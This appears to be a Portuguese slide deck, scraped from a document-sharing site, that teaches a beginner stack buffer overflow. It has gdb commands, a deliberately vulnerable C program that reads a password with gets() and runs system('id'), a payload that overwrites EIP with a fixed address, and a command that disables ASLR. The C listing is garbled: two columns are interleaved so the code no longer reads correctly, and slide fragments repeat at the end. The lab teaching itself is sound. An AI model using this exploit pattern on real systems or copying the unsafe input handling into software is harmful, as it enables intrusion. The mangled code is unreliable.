Bufferoverflow

Carlos Tuma – RedTeam – Pentest - BugHunter
Em segurança computacional e programação, um transbordamento de dados ou estouro de

buffer (do inglês buffer overflow ou buffer overrun) é uma anomalia onde um programa, ao
escrever dados em um buffer, ultrapassa os limites do buffer e sobrescreve a memória
adjacente. Esse é um caso especial de violação de segurança de memória.
Estouros de buffer podem ser disparados por entradas que são projetadas para executar
código, ou alterar o modo como o programa funciona. Isso pode resultar em comportamento
errado do programa, incluindo erros de acesso à memória, resultados incorretos, parada total
do sistema, ou uma brecha num sistema de segurança. Portanto, eles são a base de muitas
vulnerabilidade de software e pode ser explorados maliciosamente.
https://pt.wikipedia.org/wiki/Transbordamento_de_dados
Carlos Tuma – Pentest

ESP, EBP e EIP são criticamente importantes para entender e executar um estouro de
buffer.
ESP: Ponteiro de pilha.
EBP: Ponteiro base.
EIP: Ponteiro de instruções.
O acesso ao EIP é a chave para o ataque de estouro de buffer. Se for acessível,

podemos então fazê-lo apontar para o nosso código malicioso.
Quando os dados são inseridos, ele entra na pilha em ordem inversa. A pilha cresce
em direção ao EBP. Se conseguirmos empurrar com sucesso mais dados para a pilha
que ele alocou, podemos possivelmente passar o EBP para o EIP (vermelho) e ter o EIP
substituído e apontar nosso código.
Então, o EIP apontará nosso código e começará a execução. Executamos um estouro de

buffer e ganhamos o controle da aplicação.
https://www.hebunilhanli.com/wonderland/bof-101/
https://sghosh2402.medium.com/understanding-exploiting-stack-based-buffer-overflows-acf9b8659cba

info functions
disas main

man strcmp

x/16xw $esp
#visualizar 16b em hex
formato word de esp
x/20s $eip
#visualizar 20b em formato
Strig registrador eip
run ou r
#execucao
run < arquivo.txt

# envia arquivo para
o binario

run < <(python -c 'print("A" * 200 )')
#executar programa, enviando 200 * A , para executar como direcionamento

Se fosse utilizado como argumento ficaria assim: $(python -c ‘print(“A” *200)’)

c # continua a execução dps
dps do break point. #disassembly function
d # delete break point. disas main

disas verifica
run ou r # rodar programa
b* 0x5555555 # adciona
break point

0x56556270
run < <(python -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')

set $eip = 0x56556270
set $pc = 0x56556270

#include <stdio.h> acessa(){
#include <stdlib.h> printf("Bem vindo!\n");
#define password "carlostuma“ system("id");
#define password2 "123“ return 0;
}
verifica(){
char pw[128]; int main(int argc, char *argv[])
printf("Digite a senha: "); {
gets(pw); if(argc > 1){
printf("Sem argumentos!\n");
if (strcmp(pw, password2) == 0) exit(1);
printf("Senha desativada\n"); }
else if (strcmp(pw, password) == 0) verifica();
acessa(); return 0;
else }
printf("Acesso negado\n");
return 0;
}
A randomização do layout de endereço (ASLR) é uma técnica de segurança de computador envolvida na
prevenção da exploração de vulnerabilidades de corrupção de memória.
A fim de evitar que um invasor pule de forma confiável para, por exemplo, uma determinada função
explorada na memória, o ASLR organiza aleatoriamente as posições de espaço de endereço das
principais áreas de dados de um processo, incluindo a base do executável e as posições da pilha, pilha
e bibliotecas.
https://en.wikipedia.org/wiki/Address_space_layout_randomization

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gcc code.c -o protegido
gcc –m32 code.c -o protegido
sudo apt-get install gcc-multilib
https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558

“Lembre-se que as
pessoas podem tirar
tudo de você, menos
o seu conhecimento.”
Albert Einstein
Agradecimentos aos amigos de grupo, especial
ao Felipe por todo apoio nas trips, para resolver
as panes e sempre nos estudos.
Obrigado!!!

Bufferoverflow

Enviado por

Direitos autorais:

Formatos disponíveis

Bufferoverflow

Enviado por

Dados do documento

Título original

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

Bufferoverflow

Enviado por

Direitos autorais:

Formatos disponíveis

Carlos Tuma – RedTeam – Pentest - BugHunter

Em segurança computacional e programação, um transbordamento de dados ou estouro de

Carlos Tuma – Pentest

ESP: Ponteiro de pilha.

EBP: Ponteiro base.

EIP: Ponteiro de instruções.

O acesso ao EIP é a chave para o ataque de estouro de buffer. Se for acessível,

Então, o EIP apontará nosso código e começará a execução. Executamos um estouro de

Carlos Tuma – Pentest

Carlos Tuma – Pentest

Carlos Tuma – Pentest

run < arquivo.txt

Carlos Tuma – Pentest

#executar programa, enviando 200 * A , para executar como direcionamento

Carlos Tuma – Pentest

d # delete break point. disas main

Carlos Tuma – Pentest

run < <(python -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')

Carlos Tuma – Pentest

Carlos Tuma – Pentest

Carlos Tuma – Pentest

gcc code.c -o protegido

gcc –m32 code.c -o protegido

sudo apt-get install gcc-multilib

Carlos Tuma – Pentest

Você também pode gostar